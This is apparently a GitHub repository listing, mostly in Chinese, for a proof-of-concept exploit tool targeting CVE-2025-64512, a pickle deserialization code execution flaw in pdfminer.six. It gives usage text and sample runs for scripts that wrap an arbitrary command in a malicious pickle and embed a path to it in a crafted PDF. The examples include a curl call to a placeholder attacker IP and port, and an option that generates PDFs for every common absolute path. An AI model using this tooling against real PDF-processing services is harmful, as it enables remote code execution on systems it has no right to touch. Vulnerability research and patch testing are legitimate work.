matesz44/CVE-2025-64512
GitHub: matesz44/CVE-2025-64512
针对 pdfminer.six 的 pickle 反序列化远程代码执行漏洞(CVE-2025-64512)提供 PoC 生成工具,可将任意命令封装为恶意 pickle 并嵌入构造的 PDF 中触发执行。
Stars: 2 | Forks: 0
CVE-2025-64512 通过构造 PDF 输入在 pdfminer.six 中实现任意代码执行 PoC
- 基于 https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp
% python3 mkpickle.py
用法: mkpickle.py [output]
示例: mkpickle.py 'curl [IP]:[PORT]/rce' evil.pickle.gz
% python3 mkpdf.py -h
用法: mkpdf.py [-h] [-o OUTPUT] [-p PATH] [-f]
[pickle_name]
创建可触发 pdfminer.six pickle
反序列化 (CVE-2025-64512) 的 PDF
位置参数:
pickle_name 不带
.pickle.gz 的 Pickle 文件名 (默认: evil)
选项:
-h, --help 显示此帮助信息并
退出
-o, --output OUTPUT 输出 PDF 文件名
(默认: exploit.pdf)
-p, --path PATH pickle 的自定义绝对路径
(不带 .pickle.gz)
-f, --fuzz 为所有
常见绝对路径生成 PDF
python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz
[+] evil.pickle.gz (78 字节)
命令: touch /tmp/a
(将 evil.pickle.gz 上传至 /var/www/html/files/evil.pickle.gz)
python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil
[+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz
(上传 ex-poc.pdf 并触发/等待 PDF 处理)
ls -l /tmp/a
-rw-r--r-- 1 ... ... 0 Jul 19 12:39 a
标签:逆向工具